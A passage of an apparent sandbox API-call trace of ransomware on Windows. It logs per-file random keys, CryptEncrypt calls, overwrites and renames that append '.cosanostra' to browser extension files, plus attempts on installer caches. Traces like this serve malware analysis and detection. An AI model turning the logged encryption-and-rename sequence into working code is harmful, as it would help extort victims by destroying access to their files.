lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js") returned 152 [0107.474] StrStrW (lpFirst="craw_background.js", lpSrch=".txt") returned 0x0 [0107.475] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.475] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251ee6c, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee6c*=0x2800, lpOverlapped=0x0) returned 1 [0107.475] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.476] WriteFile (in: hFile=0x180, lpBuffer=0x251eeac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee6c, lpOverlapped=0x0 | out: lpBuffer=0x251eeac*, lpNumberOfBytesWritten=0x251ee6c*=0x4, lpOverlapped=0x0) returned 1 [0107.486] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee6c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee6c*=0x30, lpOverlapped=0x0) returned 1 [0107.486] CloseHandle (hObject=0x180) returned 1 [0107.486] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.cosanostra") returned 163 [0107.486] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\craw_background.js.cosanostra")) returned 1 [0107.488] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eea8 | out: pbBuffer=0x251eea8) returned 1 [0107.488] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eea0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eea0*=0x30) returned 1 [0107.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0107.488] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json") returned 160 [0107.488] StrStrW (lpFirst="computed_hashes.json", lpSrch=".txt") returned 0x0 [0107.496] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xfffff50d, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0107.496] WriteFile (in: hFile=0x180, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0xaf3, lpNumberOfBytesWritten=0x251ee64, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x251ee64*=0xaf3, lpOverlapped=0x0) returned 1 [0107.496] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0107.497] WriteFile (in: hFile=0x180, lpBuffer=0x251eea4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251ee64, lpOverlapped=0x0 | out: lpBuffer=0x251eea4*, lpNumberOfBytesWritten=0x251ee64*=0x4, lpOverlapped=0x0) returned 1 [0107.497] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251ee64, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251ee64*=0x30, lpOverlapped=0x0) returned 1 [0107.497] CloseHandle (hObject=0x180) returned 1 [0107.497] wnsprintfW (in: pszDest=0x23b158, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.cosanostra") returned 171 [0107.497] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_metadata\\computed_hashes.json.cosanostra")) returned 1 [0107.502] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eea8 | out: pbBuffer=0x251eea8) returned 1 [0107.502] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251eea0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251eea0*=0x30) returned 1 [0107.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.502] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251eea0 | out: pbBuffer=0x251eea0) returned 1 [0107.502] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee98*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee98*=0x30) returned 1 [0107.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.502] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee90 | out: pbBuffer=0x251ee90) returned 1 [0107.502] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee88*=0x30) returned 1 [0107.502] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.503] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee90 | out: pbBuffer=0x251ee90) returned 1 [0107.503] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee88*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee88*=0x30) returned 1 [0107.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{bd95a8cd-1d9f-35ad-981a-3e7925026ebb}v11.0.61030\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.503] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee80 | out: pbBuffer=0x251ee80) returned 1 [0107.503] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee78*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee78*=0x30) returned 1 [0107.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.503] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee78 | out: pbBuffer=0x251ee78) returned 1 [0107.503] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee70*=0x30) returned 1 [0107.503] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{b175520c-86a2-35a7-8619-86dc379688b9}v11.0.61030\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee78 | out: pbBuffer=0x251ee78) returned 1 [0107.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee70*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee70*=0x30) returned 1 [0107.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{a749d8e6-b613-3be3-8f5f-045c84eba29b}v12.0.21005\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee68 | out: pbBuffer=0x251ee68) returned 1 [0107.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee60*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee60*=0x30) returned 1 [0107.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee60 | out: pbBuffer=0x251ee60) returned 1 [0107.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee58*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee58*=0x30) returned 1 [0107.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{929fbd26-9020-399b-9a7a-751d61f0b942}v12.0.21005\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.504] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee50 | out: pbBuffer=0x251ee50) returned 1 [0107.504] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee48*=0x30) returned 1 [0107.504] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\vc_runtimeMinimum_x64.msi" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\vc_runtimeminimum_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.505] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee50 | out: pbBuffer=0x251ee50) returned 1 [0107.505] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee48*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee48*=0x30) returned 1 [0107.505] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{8D4F7A6D-6B81-3DC8-9C21-6008E4866727}v14.10.25017\\packages\\vcRuntimeMinimum_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{8d4f7a6d-6b81-3dc8-9c21-6008e4866727}v14.10.25017\\packages\\vcruntimeminimum_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.505] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee40 | out: pbBuffer=0x251ee40) returned 1 [0107.505] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee38*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee38*=0x30) returned 1 [0107.505] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\vc_runtimeAdditional_x86.msi" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\vc_runtimeadditional_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.505] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee38 | out: pbBuffer=0x251ee38) returned 1 [0107.505] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee30*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee30*=0x30) returned 1 [0107.505] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.505] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee28 | out: pbBuffer=0x251ee28) returned 1 [0107.506] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee20*=0x30) returned 1 [0107.506] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.506] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee28 | out: pbBuffer=0x251ee28) returned 1 [0107.506] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee20*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee20*=0x30) returned 1 [0107.506] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.506] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee20 | out: pbBuffer=0x251ee20) returned 1 [0107.506] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee18*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee18*=0x30) returned 1 [0107.506] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.506] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee18 | out: pbBuffer=0x251ee18) returned 1 [0107.506] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee10*=0x30) returned 1 [0107.506] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.506] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee08 | out: pbBuffer=0x251ee08) returned 1 [0107.507] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee00*=0x30) returned 1 [0107.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\vc_runtimeAdditional_x64.msi" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\vc_runtimeadditional_x64.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.507] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee08 | out: pbBuffer=0x251ee08) returned 1 [0107.507] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ee00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ee00*=0x30) returned 1 [0107.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\vcRuntimeAdditional_amd64\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\vcruntimeadditional_amd64\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.507] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ee00 | out: pbBuffer=0x251ee00) returned 1 [0107.507] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edf8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edf8*=0x30) returned 1 [0107.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\programdata\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.507] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edf0 | out: pbBuffer=0x251edf0) returned 1 [0107.507] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ede8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ede8*=0x30) returned 1 [0107.507] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\vc_runtimeMinimum_x86.msi" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\vc_runtimeminimum_x86.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.507] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edf0 | out: pbBuffer=0x251edf0) returned 1 [0107.508] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251ede8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251ede8*=0x30) returned 1 [0107.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab" (normalized: "c:\\programdata\\package cache\\{13a4ee12-23ea-3371-91ee-efb36ddfff3e}v12.0.21005\\packages\\vcruntimeminimum_x86\\cab1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.508] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251ede0 | out: pbBuffer=0x251ede0) returned 1 [0107.508] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251edd8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251edd8*=0x30) returned 1 [0107.508] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Package Cache\\42D5BEC7DDFBD49E76467529CBC2868987BF8460\\packages\\Patch\\x64\\Windows6.1-KB2999226-x64.msu" (normalized: "c:\\programdata\\package cache\\42d5bec7ddfbd49e76467529cbc2868987bf8460\\packages\\patch\\x64\\windows6.1-kb2999226-x64.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0107.508] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251edd0 | out: pbBuffer=0x251edd0) returned 1 [0107.508] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, 